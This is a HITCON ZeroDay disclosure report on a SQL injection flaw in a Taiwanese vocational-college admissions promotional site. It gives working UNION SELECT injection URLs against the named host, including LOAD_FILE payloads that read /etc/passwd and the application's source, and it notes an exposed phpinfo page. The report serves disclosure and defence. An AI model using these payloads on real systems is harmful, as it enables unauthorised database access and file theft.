技專校院招生策進總會 宣傳網站 SQL Injection 漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2017-00134
  • Vendor: 技專校院招生策進總會
  • Title: 技專校院招生策進總會 宣傳網站 SQL Injection 漏洞
  • Introduction: SQL Injection

處理狀態

目前狀態

公開
Last Update : 2017/04/10
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2017/02/08 03:06:17 : 新提交 (由 鄉民 更新此狀態)
  • 2017/02/08 15:13:24 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/02/16 17:29:25 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/02/16 17:29:26 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/04/10 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID：ZD-2017-00134
  • 通報者：鄉民
  • 風險：高
  • 類型：資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。

漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

相關網址

http://www.techadmi.edu.tw/bbs.php?bid=3226

敘述

可直接注入「' union select 1,user(),3,4,version(),6,database(),8,9,10#」於bid=3226上 (圖1)
http://www.techadmi.edu.tw/bbs.php?bid=-1%27%20union%20select%201,user(),3,4,version(),6,database(),8,9,10%23

並有足夠權限可利用LOAD_FILE讀取檔案

讀取 /etc/passwd (圖2)：
http://www.techadmi.edu.tw/bbs.php?bid=-1%27%20union%20select%201,user(),3,4,HEX(LOAD_FILE(%27/etc/passwd%27)),6,database(),8,9,10%23

讀取 bbs.php (圖3)：
http://www.techadmi.edu.tw/bbs.php?bid=-1%27%20union%20select%201,user(),3,4,HEX(LOAD_FILE(%27/var/www/html/bbs.php%27)),6,database(),8,9,10%23

大致透過原始碼查看，發現其他頁面均使用不安全的字串串接，也可能存在SQL Injection。

另已存在 info.php 洩漏 phpinfo 資訊 (圖4)
http://www.techadmi.edu.tw/info.php

擷圖

留言討論

;